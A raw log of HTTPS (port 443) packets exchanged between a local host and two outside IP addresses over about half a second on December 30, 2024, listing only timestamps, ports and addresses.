Dec 30, 2024 19:45:56.513467073 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.513514042 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.513520002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.513542891 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.513566971 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.515336990 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515352964 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515419006 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.515423059 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515620947 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.515769005 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515783072 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515847921 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.515852928 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.515903950 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.516370058 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.516385078 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.516427040 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.516433001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.516463041 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.516482115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.562335014 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.562403917 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.562485933 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.562546015 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.562637091 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.562699080 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.562784910 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.562845945 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.562902927 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.562953949 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.562979937 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563050032 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.563055038 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563107014 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.563368082 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563438892 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.563513041 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563570976 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.563728094 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563795090 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.563889027 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.563935995 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.578063011 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.578085899 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.578161955 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.578171015 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.578198910 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.578207016 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.583184958 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583225012 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583240986 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.583245993 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583270073 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.583287001 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.583420992 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583477020 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.583558083 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583614111 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.583734035 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.583785057 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.586869001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.586885929 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.586936951 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.586941957 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.586967945 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.586982965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.597897053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.597912073 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.597963095 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.597969055 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.598000050 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.598016977 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.599076986 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599092007 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599149942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.599154949 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599734068 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599756002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599791050 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.599801064 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.599813938 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.599848032 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.601546049 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.601560116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.601618052 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.601622105 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602147102 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602174044 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602210045 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.602215052 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602250099 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.602273941 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.602684021 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602700949 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602751970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.602756977 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.602791071 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.602802992 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.612271070 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.653043032 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653115988 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653120041 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653134108 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653171062 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653235912 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653290033 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653367996 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653424978 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653572083 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653625965 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653769970 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653848886 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653871059 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653897047 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.653901100 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.653955936 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.654011011 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.654057980 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.654146910 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.654201984 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.654378891 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.654434919 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.654530048 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.654587984 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.659158945 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.675725937 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675745964 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675797939 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675803900 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.675812960 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675843954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675851107 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.675898075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.675901890 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.675930977 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.675941944 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.675951004 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.675987959 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676001072 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676007986 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676043034 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676059961 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676125050 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676176071 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676182032 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676186085 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676219940 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676238060 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676243067 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676260948 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676270008 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676285982 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676290035 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.676320076 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.676352978 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.684197903 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.684223890 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.684276104 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.684282064 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.684309006 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.684326887 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.685282946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.685297966 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.685355902 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.685363054 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.685952902 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.685971975 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.686002970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.686009884 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.686032057 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.686064959 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.687833071 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.687849045 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.687889099 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.687895060 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.687905073 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.687937975 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688204050 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688218117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688256979 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688261986 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688288927 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688299894 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688868999 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688883066 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688924074 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688929081 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.688966990 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.688966990 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.743772030 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.743834972 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.743849039 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.743855953 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.743894100 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744016886 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744071007 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744082928 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744141102 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744260073 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744319916 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744416952 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744474888 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744604111 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744666100 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744774103 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744832039 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.744914055 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.744970083 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.745057106 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.745112896 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.745304108 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.745361090 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.762054920 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.762074947 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.762134075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.762150049 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.762156010 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.762192965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.762226105 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.775429010 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775506973 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775516987 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775557995 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775578022 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775583029 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775612116 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775625944 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775633097 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775685072 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775688887 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.775746107 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.775926113 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.775943995 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.775995970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776005983 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776087046 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776106119 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776138067 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776144028 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776176929 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776258945 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776273966 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776320934 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776326895 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776354074 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776357889 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776386023 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776416063 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776420116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776448011 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776488066 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776501894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776536942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776540995 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776561022 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776617050 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776633978 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776669025 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.776673079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.776684999 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.790019989 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.798217058 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.834321976 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834399939 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834418058 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.834424019 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834470034 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.834505081 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834566116 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.834743023 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834796906 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.834850073 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.834913969 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835005045 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835055113 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835145950 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835196018 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835411072 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835470915 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835570097 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835628033 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835747957 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835787058 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835808039 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835813046 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.835835934 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.835861921 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.840603113 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.848332882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848350048 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848443985 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.848453999 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848515034 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848531961 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848568916 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.848575115 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.848599911 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.858074903 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858088970 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858156919 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.858163118 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858220100 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858238935 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858274937 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.858280897 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.858294010 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.861841917 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.861860991 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.861922026 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.861927986 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.861947060 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862330914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862349987 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862389088 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862392902 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862421036 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862626076 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862639904 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862689018 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862692118 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862704039 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862715960 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862720013 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.862744093 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862773895 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.862777948 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.868592024 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.934886932 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.934907913 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.934957027 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.935003996 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.935102940 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.935102940 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.935116053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.944423914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.944442034 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.944488049 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.944495916 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.944531918 CET	50076	443	192.168.2.4	45.118.248.184
